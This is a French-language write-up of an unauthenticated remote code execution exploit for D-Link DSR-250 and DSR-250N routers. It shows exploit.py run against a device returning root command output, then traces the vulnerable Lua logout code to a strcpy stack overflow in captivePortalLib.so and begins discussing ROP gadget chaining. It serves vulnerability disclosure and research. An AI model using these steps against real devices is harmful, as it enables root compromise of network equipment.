
Exploit CVE-2024-57376
Exploit d'exécution de code à distance sans authentification pour D-Link DSR-250 et DSR-250N
Avis de sécurité : https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415
$ python3 exploit.py
usage: <host> <port> <command>
$ python3 exploit.py 192.168.1.1 443 id
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 24\r\nDate: Thu, 22 Dec 2022 11:50:49 GMT\r\nServer: Light Weight Web Server\r\n\r\nuid=0(root) gid=0(root)\n'
HTTP/1.1 200 OK
Content-Length: 24
Date: Thu, 22 Dec 2022 11:50:49 GMT
Server: Light Weight Web Server
uid=0(root) gid=0(root)
$ python3 exploit.py 192.168.1.1 443 'cat /pfrm2.0/etc/dlink_version'
[+] fingerprint
device: DSR-250N
year : 2021
b'HTTP/1.1 200 OK\r\nContent-Length: 12\r\nDate: Thu, 22 Dec 2022 11:57:35 GMT\r\nServer: Light Weight Web Server\r\n\r\n3.17B901C_WW'
HTTP/1.1 200 OK
Content-Length: 12
Date: Thu, 22 Dec 2022 11:57:35 GMT
Server: Light Weight Web Server
3.17B901C_WW
Il s'agit du code de la fonction duaCP.logout qui est appelée pour la déconnexion.
function duaCP.logout (cgiparams)
local extCpResult, clientMac, clientIp, authenticatorIp, apMac, apIp, vendor,
ssid, deviceType, vlan, pageId, returnUrl, authSuccessUrl,
returnLogoutUrl, notifyUrl, sessionRandom, hash, token
local request = ""
extCpResult = cgiparams.externalCpResult
clientMac = cgiparams.clientMac
clientIp = cgiparams.clientIp
authenticatorIp = cgiparams.authenticatorIp
apMac = cgiparams.apMac
apIp = cgiparams.apIp
vendor = cgiparams.vendor
ssid = cgiparams.ssid
deviceType = cgiparams.deviceType
vlan = cgiparams.vlan
pageId = cgiparams.pageIndex
returnUrl = cgiparams.returnUrl
authSuccessUrl = cgiparams.authenticationSuccessUrl
returnLogoutUrl = cgiparams.returnLogoutUrl
notifyUrl = cgiparams.notifyUrl
sessionRandom = cgiparams.sessionRandom
hash = cgiparams.hash
token = db.getAttribute("cpExtWebServer", "_ROWID_", "1", "token")
local status, reason
reason = "success"
-- validate hash first
if (hashValidate (authenticatorIp, clientMac, token, sessionRandom, hash) == "ERROR") then
-- respond to DUA with failure result so that user will be shown login
-- page
reason = "failure"
end
status, clientMac, clientIp = duaCP.parse_logoutInfo (extCpResult)
if (status == "ERROR") then
reason = "failure"
end
-- redirect to DUA
duaCP.logoutProcess (cgiparams, reason, token)
end
Il appelle :
hashValidateduaCP.parse_logoutInfoduaCP.logoutProcessLe chemin vers le code vulnérable est duaCP.parse_logoutInfo. Il utilise extCpResult, qui est une entrée utilisateur, comme paramètre.
Voici le code de duaCP.parse_logoutInfo.
function duaCP.parse_logoutInfo (extCpResult)
local status = "OK"
-- process the extCpResult
status, clientMac, clientIp = captivePortalLib.duaLogoutInfoGet (extCpResult)
if (status == "1" or tonumber (status) == 1) then
return "ERROR"
end
clientMac = clientMac:gsub("%-", "%:")
return status, clientMac, clientIp
end
Il appelle captivePortalLib.duaLogoutInfoGet. Il utilise extCpResult directement comme paramètre. Son code est défini dans une bibliothèque partagée, captivePortalLib.so

lua_tolstring retourne un pointeur vers la chaîne extCpResult et strcpy est appelée, avec une variable locale comme paramètre. C’est clairement un débordement de tampon de la pile. Nous devons maintenant chaîner des gadgets ROP.
Il y a quelques limitations car la vulnérabilité est déclenchée par strcpy. Nous ne pouvons pas insérer d'octets NULL.
Voici une carte mémoire :